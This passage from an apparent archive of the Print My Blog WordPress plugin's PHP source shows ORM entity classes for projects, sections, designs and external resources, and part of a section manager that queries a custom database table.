</span>
<?php
}
/**
* @param Project $project
*/
public function column_format( Project $project ) {
$names = [];
foreach ( $project->getFormatsSelected() as $format ) {
$names[] = $format->title();
}
return implode( ', ', $names );
}
/**
* @param Project $project
* @return string
*/
public function column_date( Project $project ) {
return __( 'Started', 'print-my-blog' ) . '<br>' . sprintf(
// translators: 1: Post date, 2: Post time.
__( '%1$s at %2$s', 'print-my-blog' ),
/* translators: Post date format. See https://www.php.net/date */
get_the_time( __( 'Y/m/d' ), $project->getWpPost() ),
/* translators: Post time format. See https://www.php.net/date */
get_the_time( __( 'g:i a' ), $project->getWpPost() )
);
}
/**
* Text displayed when no record data is available
*/
public function no_items() {
esc_html_e( 'Click "Add New Project" 👆 To Make Your First Project!', 'print-my-blog' );
}
/**
* Returns the count of records in the database.
* * @return null|string
*/
public function recordCount() {
return $this->getProjectManager()->count( $this->wp_query() );
}
/**
* @return ProjectManager
*/
protected function getProjectManager() {
if ( $this->project_manager === null ) {
$this->project_manager = Context::instance()->reuse( 'PrintMyBlog\\orm\\managers\\ProjectManager' );
}
return $this->project_manager;
}
}
PrintMyBlog/orm/entities/ProjectSection.php 0000644 00000006367 14666776752 0015105 0 ustar 00 <?php
namespace PrintMyBlog\orm\entities;
use PrintMyBlog\system\Context;
use stdClass;
/**
* Class ProjectSection
* @package PrintMyBlog\orm\entities
*/
class ProjectSection
{
/**
* @var int $ID
*/
protected $ID;
/**
* @var int $post_id
*/
protected $post_id;
/**
* @var string $post_title
*/
protected $post_title;
/**
* @var int $parent_id
*/
protected $parent_id;
/**
* @var int $section_order
*/
protected $section_order;
/**
* @var string
*/
protected $template;
/**
* @var string
*/
protected $placement;
/**
* @var int
*/
protected $height;
/**
* @var int
*/
protected $depth;
/**
* @var ProjectSection[]
*/
protected $subsections;
/**
* ProjectSection constructor.
*
* @param stdClass $db_row
*/
public function __construct(stdClass $db_row)
{
$this->ID = $db_row->ID;
$this->post_id = $db_row->post_id;
if (isset($db_row->post_title)) {
$this->post_title = $db_row->post_title;
}
$this->parent_id = $db_row->parent_id;
if (isset($db_row->section_order)) {
$this->section_order = $db_row->section_order;
}
$this->template = $db_row->template;
$this->placement = $db_row->placement;
$this->height = $db_row->height;
$this->depth = $db_row->depth;
}
/**
* @return int
*/
public function getId()
{
return (int)$this->ID;
}
/**
* @return int
*/
public function getPostId()
{
return (int)$this->post_id;
}
/**
* @param int $new_post_id
*/
public function setPostId($new_post_id)
{
$this->post_id = $new_post_id;
}
/**
* @return string
*/
public function getPostTitle()
{
return $this->post_title;
}
/**
* @return int
*/
public function getParentId()
{
return (int)$this->parent_id;
}
/**
* @return int
*/
public function getSectionOrder()
{
return (int)$this->section_order;
}
/**
* @return string
*/
public function getTemplate()
{
return $this->template;
}
/**
* @return string
*/
public function getPlacement()
{
return $this->placement;
}
/**
* Populates the child sections for convenience in retrieval, but does not do anything that will affect the
* database.
*
* @param ProjectSection[] $sections
*/
public function cacheSubSections($sections)
{
$this->subsections = $sections;
}
/**
* @return ProjectSection[]
*/
public function getCachedSubsections()
{
return (array)$this->subsections;
}
/**
* Gets how many layers DEEP this section is. Eg, how many layers there are ABOVE it.
* @return int
*/
public function getDepth()
{
return $this->depth;
}
/**
* Gets how many layers HIGH this section is. Eg, how many layers there are BELOW it.
* @return int
*/
public function getHeight()
{
return $this->height;
}
}
PrintMyBlog/orm/entities/ExternalResource.php 0000644 00000002656 14666776752 0015441 0 ustar 00 <?php
namespace PrintMyBlog\orm\entities;
use stdClass;
/**
* Class ExternalResource
* @package PrintMyBlog\orm\entities
*/
class ExternalResource
{
/**
* @var string|int
*/
protected $ID;
/**
* @var string
*/
protected $external_url;
/**
* @var string
*/
protected $copy_filename;
/**
* ExternalResource constructor.
* @param stdClass|array $db_row
*/
public function __construct($db_row)
{
$db_row = (object)$db_row;
$this->ID = $db_row->ID;
$this->external_url = $db_row->external_url;
$this->copy_filename = $db_row->copy_filename;
}
/**
* @return array
*/
public function properties()
{
return [
'ID' => $this->getID(),
'external_url' => $this->getExternalUrl(),
'copy_filename' => $this->getCopyFilename(),
];
}
/**
* @return string[]
*/
public function wpdbPropertyFormats()
{
return [
'%d',
'%s',
'%s',
];
}
/**
* @return mixed
*/
public function getID()
{
return $this->ID;
}
/**
* @return mixed
*/
public function getExternalUrl()
{
return $this->external_url;
}
/**
* @return mixed
*/
public function getCopyFilename()
{
return $this->copy_filename;
}
}
PrintMyBlog/orm/entities/Project.php 0000644 00000054243 14666776752 0013554 0 ustar 00 <?php
namespace PrintMyBlog\orm\entities;
use Exception;
use PrintMyBlog\controllers\Admin;
use PrintMyBlog\db\TableManager;
use PrintMyBlog\domain\DefaultFileFormats;
use PrintMyBlog\entities\FileFormat;
use PrintMyBlog\entities\ProjectGeneration;
use PrintMyBlog\entities\ProjectProgress;
use PrintMyBlog\entities\SectionTemplate;
use PrintMyBlog\exceptions\DesignTemplateDoesNotExist;
use PrintMyBlog\factories\ProjectGenerationFactory;
use PrintMyBlog\helpers\ArgMagician;
use PrintMyBlog\orm\managers\DesignManager;
use PrintMyBlog\orm\managers\ProjectSectionManager;
use PrintMyBlog\services\config\Config;
use PrintMyBlog\services\FileFormatRegistry;
use PrintMyBlog\services\generators\ProjectFileGeneratorBase;
use PrintMyBlog\services\SectionTemplateRegistry;
use PrintMyBlog\system\CustomPostTypes;
use Twine\forms\base\FormSection;
use Twine\forms\inputs\FormInputBase;
use Twine\forms\inputs\TextAreaInput;
use Twine\forms\inputs\TextInput;
use Twine\orm\entities\PostWrapper;
use WP_Post;
use WP_Query;
/**
* Class Project
* @package PrintMyBlog\orm
* Class that wraps a WP_Post, but also stores related info like parts, and has related methods.
*/
class Project extends PostWrapper
{
const POSTMETA_CODE = 'pmb_code';
const POSTMETA_FORMAT = 'format';
const POSTMETA_DESIGN = 'design_for_';
const POSTMETA_PROJECT_DEPTH = 'levels_used';
/**
* @var ProjectGeneration[]
*/
protected $generations = [];
/**
* @var FileFormatRegistry
*/
protected $format_registry;
/**
* @var DesignManager
*/
protected $design_manager;
/**
* @var Config
*/
protected $config;
/**
* @var ProjectSectionManager
*/
protected $section_manager;
/**
* @var ProjectGenerationFactory
*/
protected $project_generation_factory;
/**
* @var array keys are design divisions, values are
*/
protected $supports_division = [];
/**
* @var FormSection
*/
protected $meta_form;
/**
* @var SectionTemplate[]
*/
protected $custom_templates = null;
/**
* @var ProjectProgress
*/
protected $progress;
/**
* @var SectionTemplateRegistry
*/
private $section_template_registry;
/**
* @param ProjectSectionManager $section_manager
* @param FileFormatRegistry $format_manager
* @param DesignManager $design_manager
* @param Config $config
* @param ProjectGenerationFactory $project_generation_factory
* @param SectionTemplateRegistry $section_template_registry
*/
public function inject(
ProjectSectionManager $section_manager,
FileFormatRegistry $format_manager,
DesignManager $design_manager,
Config $config,
ProjectGenerationFactory $project_generation_factory,
SectionTemplateRegistry $section_template_registry
) {
$this->section_manager = $section_manager;
$this->format_registry = $format_manager;
$this->design_manager = $design_manager;
$this->config = $config;
$this->project_generation_factory = $project_generation_factory;
$this->section_template_registry = $section_template_registry;
}
/**
* Sets the project's title and immediately saves it.
* @param string $title
*
* @return int|\WP_Error
*/
public function setTitle($title)
{
$post = $this->getWpPost();
$post->post_title = $title;
return wp_update_post(
[
'ID' => $post->ID,
'post_title' => $title,
'post_name' => wp_unique_post_slug(
$title,
$post->ID,
'publish',
'pmb_project',
0
),
]
);
}
/**
* @return string
*/
public function code()
{
$code = $this->getPmbMeta(self::POSTMETA_CODE);
if( ! $code){
$this->setCode();
$code = $this->getPmbMeta(self::POSTMETA_CODE);
}
return $code;
}
/**
* Sets the project's code in postmeta.
*
* @return bool
*/
public function setCode()
{
return $this->setPmbMeta(self::POSTMETA_CODE, wp_generate_password(20, false));
}
/**
* Gets the database rows indicating the parts
*
* @param int $limit
* @param int $offset
* @param bool $include_title
* @param string|null $placement
*
* @return ProjectSection[]
*/
public function getSections($limit = 20, $offset = 0, $include_title = false, $placement = null)
{
return $this->section_manager->getSectionsFor(
$this->getWpPost()->ID,
$this->getLevelsAllowed(),
$limit,
$offset,
$include_title,
$placement
);
}
/**
* Gets project sections as a flat array
* @param int $limit
* @param int $offset
* @param bool $include_title
* @param null $placement
*
* @return ProjectSection[]
*/
public function getFlatSections($limit = 20, $offset = 0, $include_title = false, $placement = null)
{
return $this->section_manager->getFlatSectionsFor(
$this->getWpPost()->ID,
$limit,
$offset,
$include_title,
$placement
);
}
/**
* Projects created from a single post instead of the traditional, longer way.
*/
protected function isPostProject(){
return $this->getWpPost()->post_type !== CustomPostTypes::PROJECT;
}
/**
* On post-projects, gets the project's pos. On regular projects, it's the first post.
* @return WP_Post|null
*/
public function getMainPost(){
if( $this->isPostProject()){
return $this->getWpPost();
} else {
$one_sections = $this->section_manager->getFlatSectionsFor(
$this->getWpPost()->ID,
1
);
if(! empty($one_sections)){
$first_section = reset($one_sections);
return get_post($first_section->getPostId());
}
return null;
}
}
/**
* @param string $project_format_slug
*
* @return bool
*/
public function isFormatSelected($project_format_slug)
{
return in_array(
$project_format_slug,
$this->getFormatSlugsSelected(),
true
);
}
/**
* Gets the slugs of selected formats. Note: it's possible for a format to NOT be selected but still have a chosen
* design.
* @return array of selected format slugs
*/
public function getFormatSlugsSelected()
{
$formats = $this->getPmbMetas(
self::POSTMETA_FORMAT
);
$formats_sorted = [];
foreach ($this->format_registry->getFormats() as $key => $format) {
if (in_array($key, $formats, true)) {
$formats_sorted[] = $key;
}
}
return $formats_sorted;
}
/**
* Like Project::getFormatSlugsSelected(), but gets actual FileFormat objects.
* @return FileFormat[]
*/
public function getFormatsSelected()
{
$format_slugs = $this->getFormatSlugsSelected();
$formats = [];
foreach ($format_slugs as $slug) {
$format_obj = $this->format_registry->getFormat($slug);
if ($format_obj && $format_obj->supported()) {
$formats[$slug] = $format_obj;
}
}
return $formats;
}
/**
* @param array $new_formats
*/
public function setFormatsSelected($new_formats)
{
$previous_formats = $this->getFormatSlugsSelected();
if (! $previous_formats) {
$previous_formats = [];
}
foreach ($this->format_registry->getFormats() as $format) {
if (in_array($format->slug(), $new_formats, true)) {
// It's requested to make this a selected format...
if (! in_array($format->slug(), $previous_formats, true)) {
// if it wasn't already, add it.
$this->addPmbMeta(
self::POSTMETA_FORMAT,
$format->slug()
);
}
// if it's already selected, no need to do anything.
} else {
// We want it remove it...
if (in_array($format->slug(), $previous_formats, true)) {
// and it was previously a selected format.
$this->deletePmbMeta(
self::POSTMETA_FORMAT,
$format->slug()
);
}
// If it wasn't previously selected, no need to change anything.
}
}
}
/**
* Gets the slug of the design to use for the format specified.
* @param FileFormat|string $format
*
* @return int
*/
public function getDesignIdFor($format)
{
if ($format instanceof FileFormat) {
$format = $format->slug();
}
$value = $this->getPmbMeta(
self::POSTMETA_DESIGN . $format
);
if ($value) {
return $value;
}
return 0;
}
/**
* Gets the design object for this project in the given format.
*
* @param string|FileFormat $format
*
* @return Design|null
*/
public function getDesignFor($format)
{
$format = ArgMagician::castToFormatSlug($format);
$design_id = $this->getDesignIdFor($format);
if ($design_id) {
return $this->design_manager->getById($design_id);
}
// Ok fallback to default
return $this->config->getDefaultDesignFor($format);
}
/**
* Gets an the chosen designs for the chosen formats.
* Keys are format slugs, values are design slugs.
* @return Design[]
*/
public function getDesigns()
{
$designs = [];
foreach ($this->format_registry->getFormats() as $format) {
$design = $this->getDesignFor($format->slug());
if ($design) {
$designs[$format->slug()] = $design;
}
}
return $designs;
}
/**
* Gets all the designs for selected formats.
* @return Design[]
*/
public function getDesignsSelected()
{
$formats = $this->getFormatsSelected();
$chosen_designs = [];
foreach ($formats as $format) {
$design = $this->getDesignFor($format);
if ($design) {
$chosen_designs[] = $design;
}
}
return $chosen_designs;
}
/**
* Gets the allow amount of nesting levels based on each design's nesting level.
* See DesignTemplate::levels.
* @return int
*/
public function getLevelsAllowed()
{
$lowest_allowed_by_a_design = 5;
foreach ($this->getDesignsSelected() as $design) {
try {
if ($design->getDesignTemplate()->getLevels() < $lowest_allowed_by_a_design) {
$lowest_allowed_by_a_design = $design->getDesignTemplate()->getLevels();
}
} catch (DesignTemplateDoesNotExist $e) {
// hopefully a different design does exist then.
continue;
}
}
return $lowest_allowed_by_a_design;
}
/**
* Sets the project's chosen design for the specified format.
*
* @param string|FileFormat $format
* @param int|Design $design
*
* @return bool success
*/
public function setDesignFor($format, $design)
{
if ($format instanceof FileFormat) {
$format = $format->slug();
}
if ($design instanceof Design) {
$design = $design->getWpPost()->ID;
}
return $this->setPmbMeta(
self::POSTMETA_DESIGN . $format,
$design
);
}
/**
* @param string $division
*
* @return bool
*/
public function supportsDivision($division)
{
if (! isset($this->supports_division[$division])) {
$this->supports_division[$division] = true;
foreach ($this->getDesignsSelected() as $design) {
if (! $design->getDesignTemplate()->supports($division)) {
$this->supports_division[$division] = false;
break;
}
}
}
return $this->supports_division[$division];
}
/**
*
* @return bool success
*/
public function delete()
{
$this->section_manager->clearSectionsFor($this->getWpPost()->ID);
// delete the generated files for the project too
foreach ($this->getFormatsSelected() as $format) {
$project_generation = $this->project_generation_factory->create($this, $format);
$project_generation->deleteGeneratedFiles();
}
return parent::delete();
}
/**
* Gets the object with all the logic around generating files for projects, for the given format.
* @param FileFormat|string $format
*
* @return ProjectGeneration
*/
public function getGenerationFor($format)
{
$format_slug = ArgMagician::castToFormatSlug($format);
if (
! isset($this->generations[$format_slug])
|| ! $this->generations[$format_slug] instanceof ProjectGeneration
) {
if (! $format instanceof FileFormat) {
$format = $this->format_registry->getFormat($format);
}
$this->generations[$format_slug] = $this->project_generation_factory->create($this, $format);
}
return $this->generations[$format_slug];
}
/**
* Gets all the project generations of this project
* @return ProjectGeneration[]
*/
public function getAllGenerations()
{
$generations = [];
foreach ($this->getFormatsSelected() as $format) {
$generations[$format->slug()] = $this->getGenerationFor($format);
}
return $generations;
}
/**
* Gets a form that is actually a combination of all the forms for the project's chosen designs.
*
* @return FormSection
*/
public function getMetaForm()
{
if (! $this->meta_form instanceof FormSection) {
$formats = $this->getFormatSlugsSelected();
$forms = [];
foreach ($formats as $format) {
$forms[] = $this->getDesignFor($format)->getProjectForm();
}
$project_form = new FormSection(
[
'name' => 'pmb_project',
'subsections' => [
'post_title' => new TextInput(
[
'html_label_text' => __('Project Title', 'print-my-blog'),
]
),
],
]
);
foreach ($forms as $form) {
$project_form->merge($form);
}
// If there's a field named "title", set its default to be the post title.
$title_input = $project_form->getSubsection('title');
if ($title_input instanceof FormInputBase) {
$title_input->setDefault($this->getWpPost()->post_title);
}
$this->meta_form = $project_form;
}
return $this->meta_form;
}
/**
* Gets the value from the post's property or postmeta. If the value it wasn't set, uses
* the form's default value from the project's metadata form.
* @param string $setting_name
*
* @return mixed|null
*/
public function getSetting($setting_name)
{
if (property_exists('WP_Post', $setting_name)) {
return $this->getWpPost()->{$setting_name};
}
// tries to get the setting from a postmeta
$setting = $this->getPmbMeta($setting_name);
if ($setting !== null) {
return $setting;
}
if ($setting_name === 'byline') {
return get_the_author_meta('display_name', $this->getWpPost()->post_author);
}
$form = $this->getMetaForm();
$section = $form->findSection($setting_name);
if ($section instanceof FormInputBase) {
return $section->getDefault();
}
return null;
}
/**
* Does any shortcodes on a setting's value
* @param string $setting_name
* @return string
* @since 3.4.1
*/
public function renderSetting($setting_name)
{
return do_shortcode((string)$this->getSetting($setting_name));
}
/**
* Echoes and escapes the rendered project's setting
* @param string $setting_name
* @since 3.4.1
*/
public function echoSetting($setting_name)
{
echo esc_html($this->renderSetting($setting_name));
}
/**
* Updates the post property or metadata
* @param string $setting_name string
* @param mixed $value mixed
*/
public function setSetting($setting_name, $value)
{
if (property_exists('WP_Post', $setting_name)) {
$this->getWpPost()->{$setting_name} = $value;
wp_update_post((array)$this->getWpPost());
} else {
$this->setPmbMeta($setting_name, $value);
}
}
/**
* @return int
*/
public function getProjectDepth()
{
return (int)$this->getPmbMeta(self::POSTMETA_PROJECT_DEPTH);
}
/**
* Remembers how many levels of divisions this project actually uses.
* @param int $levels
*
* @return bool|int
*/
public function setProjectDepth($levels)
{
return $this->setPMbMeta(self::POSTMETA_PROJECT_DEPTH, (int)$levels);
}
/**
* Declares whether or not all the designs for this project support a division.
* @param string $division see DesignTemplate::validDivisions()
*
* @return bool
*/
protected function designSupports($division)
{
foreach ($this->getDesignsSelected() as $design) {
if (! $design->getDesignTemplate()->supports($division)) {
return false;
}
}
return true;
}
/**
* Returns the post's title. Used to prioritize a postmeta named "pmb_title" but that was confusing.
* @return mixed|string
*/
public function getPublishedTitle()
{
return $this->getWpPost()->post_title;
}
/**
* Renders any shortcodes in the title and returns it.
* @return string
* @since 3.4.1
*/
public function renderPublishedTitle()
{
return do_shortcode($this->getPublishedTitle());
}
/**
* Echoes and escapes the rendered title. Not ran through esc_html()
* @since 3.4.1
*/
public function echoPublishedTitle()
{
echo esc_html($this->renderPublishedTitle());
}
/**
*
* @return array keys are template names, values are arrays with keys:{
* @type string $title
* @type Design[] $used_by
* }
*/
public function getCustomTemplates()
{
if ($this->custom_templates === null) {
$templates = [];
foreach ($this->getFormatsSelected() as $format) {
$design = $this->getDesignFor($format);
$design_templates = $design->getDesignTemplate()->getCustomTemplates();
foreach ($design_templates as $template_slug) {
if (! isset($templates[$template_slug])) {
$templates[$template_slug] = $this->section_template_registry->get($template_slug);
}
}
}
$this->custom_templates = $templates;
}
return $this->custom_templates;
}
/**
* @return array keys are template slugs, values are just their translated titles
*/
public function getSectionTemplateOptions()
{
$all_templates = [
'' => __('Default Template', 'print-my-blog'),
];
foreach ($this->getCustomTemplates() as $template_slug => $section_template) {
$title = $section_template->title();
$all_templates[$template_slug] = $title;
}
return $all_templates;
}
/**
* @return ProjectProgress
*/
public function getProgress()
{
if (! $this->progress instanceof ProjectProgress) {
$this->progress = new ProjectProgress($this);
}
return $this->progress;
}
/**
* Creates a new project with all the same postmeta, sections, etc.
* @return Project
*/
public function duplicate()
{
global $wpdb;
$new_post = $this->duplicatePost();
// keys are old section IDs, values are their new values
$section_map = [0 => 0];
foreach ($this->section_manager->getFlatSectionRowsFor($this->getWpPost()->ID, 100000) as $section_row) {
// phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery -- we're working with a custom table here, custom queries are the only way.
$wpdb->insert(
$wpdb->prefix . TableManager::SECTIONS_TABLE,
[
'project_id' => $new_post->ID,
'post_id' => $section_row->post_id,
'parent_id' => $section_map[$section_row->parent_id],
'section_order' => $section_row->section_order,
'template' => $section_row->template,
'placement' => $section_row->placement,
'height' => $section_row->height,
'depth' => $section_row->depth,
],
[
'%d', // project_id
'%d', // post_id
'%d', // parent_id
'%d', // section_order
'%s', // template
'%s', // placement
'%d', // height
'%d', // depth
]
);
$new_id = $wpdb->insert_id;
$section_map[$section_row->ID] = $new_id;
}
return new Project($new_post);
}
}
PrintMyBlog/orm/entities/Design.php 0000644 00000013031 14666776752 0013345 0 ustar 00 <?php
namespace PrintMyBlog\orm\entities;
use Exception;
use PrintMyBlog\entities\DesignTemplate;
use PrintMyBlog\exceptions\DesignTemplateDoesNotExist;
use PrintMyBlog\services\DesignTemplateRegistry;
use Twine\forms\base\FormSection;
use Twine\forms\inputs\FormInputBase;
use Twine\orm\entities\PostWrapper;
/**
* Class ProjectDesign
* Describes a design, an instance of the design template
* @package PrintMyBlog\domain
*/
class Design extends PostWrapper
{
/**
* @var DesignTemplate
*/
protected $design_template;
/**
* @var DesignTemplateRegistry
*/
protected $design_template_manager;
/**
* @var FormSection
*/
protected $project_form;
/**
* @var FormSection
*/
protected $design_form;
/**
* @param DesignTemplateRegistry $design_template_manager
*/
public function inject(DesignTemplateRegistry $design_template_manager)
{
$this->design_template_manager = $design_template_manager;
}
/**
* @return DesignTemplate
* @throws DesignTemplateDoesNotExist
*/
public function getDesignTemplate()
{
if (! $this->design_template instanceof DesignTemplate) {
$this->design_template = $this->design_template_manager->getDesignTemplate(
$this->getPmbMeta('design_template')
);
}
return $this->design_template;
}
/**
* @return bool
*/
public function designTemplateExists()
{
try {
$this->getDesignTemplate();
return true;
} catch (DesignTemplateDoesNotExist $e) {
return false;
}
}
/**
* Gets the saved metadata and falls back to the default. If the setting doesn't exist, returns null.
* @param string $setting_name
* @return mixed|null
* @throws Exception
*/
public function getSetting($setting_name)
{
// tries to get the setting from a postmeta
$setting = $this->getPmbMeta($setting_name);
if ($setting !== null) {
return $setting;
}
// otherwise falls back to using the default in the form
if ($setting_name === 'design_template') {
throw new Exception(
sprintf(
'Could not determine design template for the design "%s". The postmeta is missing.',
$this->getWpPost()->post_title
)
);
}
$form = $this->getDesignForm();
$section = $form->findSection($setting_name);
if ($section instanceof FormInputBase) {
return $section->getDefault();
}
return null;
}
/**
* Gets settings for this design
* @return array keys are setting names, values are their values (either from postmetas or defaults from form defaults)
* @throws Exception
*/
public function getSettings()
{
$form = $this->getDesignForm();
$settings = [];
foreach ($form->inputsInSubsections('name') as $setting_name => $input) {
$settings[$setting_name] = $this->getSetting($setting_name);
}
return $settings;
}
/**
* @param string $setting_name
* @param mixed $value
*/
public function setSetting($setting_name, $value)
{
$this->setPmbMeta($setting_name, $value);
}
/**
* @return FormSection
*/
public function getDesignForm()
{
if (! $this->design_form instanceof FormSection) {
$design_template = $this->getDesignTemplate();
$this->design_form = $design_template->getNewDesignFormTemplate();
$defaults = [];
foreach ($this->design_form->inputsInSubsections() as $input) {
$saved_default = $this->getSetting($input->name());
if ($saved_default !== null) {
$defaults[$input->name()] = $saved_default;
}
}
$this->design_form->populateDefaults($defaults);
}
return $this->design_form;
}
/**
* Gets the form that defines properties to be set on the project, based on the chosen design.
* @return FormSection
*/
public function getProjectForm()
{
if (! $this->project_form instanceof FormSection) {
$this->project_form = call_user_func($this->getDesignTemplate()->getProjectCallback(), $this);
}
return $this->project_form;
}
/**
* @return array numerically indexed, each item being an array with keys 'url' and 'desc'
*/
public function getPreviews()
{
$index = 1;
return [
$this->getPreview(1),
$this->getPreview(2),
];
}
/**
* @param int $index
*
* @return array with keys url and desc
*/
public function getPreview($index)
{
return [
'url' => $this->getPmbMeta('preview_' . $index . '_url'),
'desc' => $this->getPmbMeta('preview_' . $index . '_desc'),
];
}
/**
* Returns true if this is the default slug for its design template.
* @return bool
*/
public function isDefault()
{
return $this->getWpPost()->post_name === $this->getDesignTemplate()->getDefaultDesignSlug();
}
/**
* If this is the default design, returns true.
* @return Design|null|bool
*/
public function getCustomizationOf()
{
if ($this->isDefault()) {
return true;
}
return $this->getDesignTemplate()->getDefaultDesign();
}
}
PrintMyBlog/orm/managers/ProjectSectionManager.php 0000644 00000025527 14666776752 0016350 0 ustar 00 <?php
namespace PrintMyBlog\orm\managers;
use PrintMyBlog\db\TableManager;
use PrintMyBlog\entities\DesignTemplate;
use PrintMyBlog\orm\entities\ProjectSection;
use stdClass;
use Twine\helpers\Array2;
// phpcs:disable WordPress.DB.DirectDatabaseQuery.DirectQuery -- this class is all about direct DB queries on a custom table.
/**
* Class ProjectSectionManager
* @package PrintMyBlog\orm\managers
*/
class ProjectSectionManager
{
/**
* Gets ProjectSections for this project.
*
* @param int $project_id
*
* @param int $max_levels
* @param int $limit
* @param int $offset
* @param bool $include_title
* @param string $placement
*
* @return ProjectSection[]
*/
public function getSectionsFor(
$project_id,
$max_levels = 0,
$limit = 20,
$offset = 0,
$include_title = false,
$placement = 'main'
) {
$sections = $this->getFlatSectionsFor($project_id, $limit, $offset, $include_title, $placement);
$index = 0;
$parent_id = 0;
return $this->nestSections(
$sections,
$index,
$parent_id,
$max_levels
);
}
/**
* @param int $section_id
*
* @return ProjectSection|null
*/
public function getSection($section_id)
{
global $wpdb;
// Custom table so custom query. And the table name is hard-coded.
// todo: cache
// phpcs:ignore WordPress.DB.DirectDatabaseQuery.NoCaching
$row = $wpdb->get_row(
$wpdb->prepare(
// phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared -- it's just hard-coded.
'SELECT ID ' . $this->defaultFrom() . 'WHERE ID=%d',
$section_id
)
);
if (! $row){
return null;
}
return $this->createObjFromRow($row);
}
/**
* Gets a 1-dimensional array of project parts, ignoring parent hierarchy (although the parent_id is included on
* each object)
* @param int $project_id
* @param int $limit
* @param int $offset
* @param bool $include_post_title
* @param string|null $placement
*
* @return ProjectSection[] unlike fetchPartsFor(), this is a flat array, objects don't have a 'subs' property
*/
public function getFlatSectionsFor(
$project_id,
$limit = 20,
$offset = 0,
$include_post_title = false,
$placement = null
) {
return $this->createObjsFromRows(
(array)$this->getFlatSectionRowsFor(
$project_id,
$limit,
$offset,
$include_post_title,
$placement
)
);
}
/**
* Gets an array of stdClass for all the rows from the project section table that belong to the project.
* @param int $project_id
* @param int $limit
* @param int $offset
* @param bool $include_post_title
* @param null $placement
* @return stdClass[]
*/
public function getFlatSectionRowsFor(
$project_id,
$limit = 20,
$offset = 0,
$include_post_title = false,
$placement = null
) {
global $wpdb;
$select_sql = $this->defaultSelection();
$join_sql = '';
$where_sql = $wpdb->prepare(' WHERE project_id=%d', $project_id);
if ($include_post_title) {
$select_sql .= ', posts.post_title';
$join_sql .= 'INNER JOIN
' . $wpdb->posts . ' posts
ON sections.post_id=posts.ID';
}
if ($placement) {
$where_sql .= $wpdb->prepare(' AND placement=%s', $placement);
}
// too dynamic for non-raw sql.
//phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching
$results = $wpdb->get_results(
$wpdb->prepare(
// phpcs:disable WordPress.DB.PreparedSQL.NotPrepared -- all prepared earlier.
$select_sql . $this->defaultFrom()
. $join_sql . $where_sql .
' ORDER BY section_order ASC
limit %d, %d',
$offset,
$limit
)
);
// phpcs:enable WordPress.DB.PreparedSQL.NotPrepared -- all prepared earlier.
if($results){
return $results;
}
return array();
}
/**
* @return string
*/
protected function defaultSelection()
{
return 'SELECT
sections.ID,
sections.post_id,
sections.parent_id,
sections.placement,
sections.template,
sections.height,
sections.depth,
sections.section_order';
}
/**
* @return string
*/
protected function defaultFrom()
{
global $wpdb;
return ' FROM ' . $wpdb->prefix . TableManager::SECTIONS_TABLE . ' sections ';
}
/**
* @param stdClass[] $rows
*
* @return ProjectSection[]
*/
public function createObjsFromRows($rows)
{
$objs = [];
foreach ((array)$rows as $row) {
if( $row){
$objs[] = $this->createObjFromRow($row);
}
}
return $objs;
}
/**
* @param stdClass $row
*
* @return ProjectSection
*/
public function createObjFromRow($row)
{
return new ProjectSection($row);
}
/**
* Takes the 2d array of $part_rows (From the DB), and using the parent_id property,
* creates a tree of rows.
*
* @param ProjectSection[] $flat_sections
* @param int $index
* @param int $current_parent_id
*
* @param int $max_levels
* @param int $current_level
*
* @return ProjectSection[]
*/
protected function nestSections(
&$flat_sections,
&$index = 0,
$current_parent_id = 0,
$max_levels = 0,
$current_level = 0
) {
$nested_sections = [];
// phpcs:ignore Generic.CodeAnalysis.ForLoopWithTestFunctionCall.NotAllowed
$num_sections = count($flat_sections);
for (; $index < $num_sections; $index++) {
if ($flat_sections[$index]->getParentId() === intval($current_parent_id)) {
$nested_sections[] = $flat_sections[$index];
} elseif (intval($flat_sections[$index - 1]->getId()) === intval($flat_sections[$index]->getParentId())) {
$subs = $this->nestSections(
$flat_sections,
$index,
$flat_sections[$index - 1]->getId(),
$max_levels,
$current_level + 1
);
if ($current_level < $max_levels) {
$nested_sections[count($nested_sections) - 1]->cacheSubSections($subs);
} else {
$nested_sections = array_merge($nested_sections, $subs);
}
} else {
// this item isn't a child of $current_parent_id, nor the previous item. Just finish
$index--;
return $nested_sections;
}
}
return $nested_sections;
}
/**
* @param string $project_id
*
* @return int|false number of rows deleted, or false on error
*/
public function clearSectionsFor($project_id)
{
global $wpdb;
// phpcs:ignore WordPress.DB.DirectDatabaseQuery.NoCaching -- I'm not caching a delete query, sorry.
return $wpdb->delete(
$wpdb->prefix . TableManager::SECTIONS_TABLE,
[
'project_id' => $project_id,
],
[
'%d',
]
);
}
/**
* @param int $project_id
* @param array $sections_data . Top-level array has sub-arrays, each with 5 items: the post ID, its template, its
* "height" in the tree, its "depth" in the tree, and an array of its sub-items (whose structure is just like the
* top-level array).
* @param string $placement see DesignTemplate::validPlacements()
*
* @param int $order
*
* @return bool|int
*/
public function setSectionsFor($project_id, $sections_data, $placement, &$order = 1)
{
return $this->insertDbRows($project_id, $sections_data, 0, $order, $placement);
}
/**
* @param int $project_id
* @param array $sections_data
* @param int $parent_id
* @param int $order
* @param string $placement see DesignTemplate::valid
*
* @return bool
*/
protected function insertDbRows($project_id, $sections_data, $parent_id, &$order, $placement)
{
global $wpdb;
foreach ($sections_data as $section_data) {
$post_id = $section_data[0];
$template = $section_data[1];
$height = Array2::setOr($section_data, 2, 0);
$depth = $section_data[3];
$subsections = $section_data[4];
$success = $wpdb->insert(
$wpdb->prefix . TableManager::SECTIONS_TABLE,
[
'project_id' => $project_id,
'post_id' => $post_id,
'parent_id' => $parent_id,
'section_order' => $order++,
'template' => $template,
'placement' => $placement,
'height' => $height,
'depth' => $depth,
],
[
'%d', // project_id
'%d', // post_id
'%d', // parent_id
'%d', // section_order
'%s', // template
'%s', // placement
'%d', // height
'%d', // depth
]
);
if (! $success) {
return false;
}
$this->insertDbRows(
$project_id,
$subsections,
$wpdb->insert_id,
$order,
$placement
);
}
return true;
}
/**
* Gets the ID of this part's parent.
* It's usually better to have previously fetched the entire db row which contains parent_id.
* @param int $part_id
*
* @return int
*/
public function getParentOf($part_id)
{
global $wpdb;
// phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching -- ya, this method isn't used and it's discouraged.
return (int)$wpdb->get_var(
$wpdb->prepare(
// phpcs:ignore -- errrmmm, here I am preparing it, don't say I'm not.
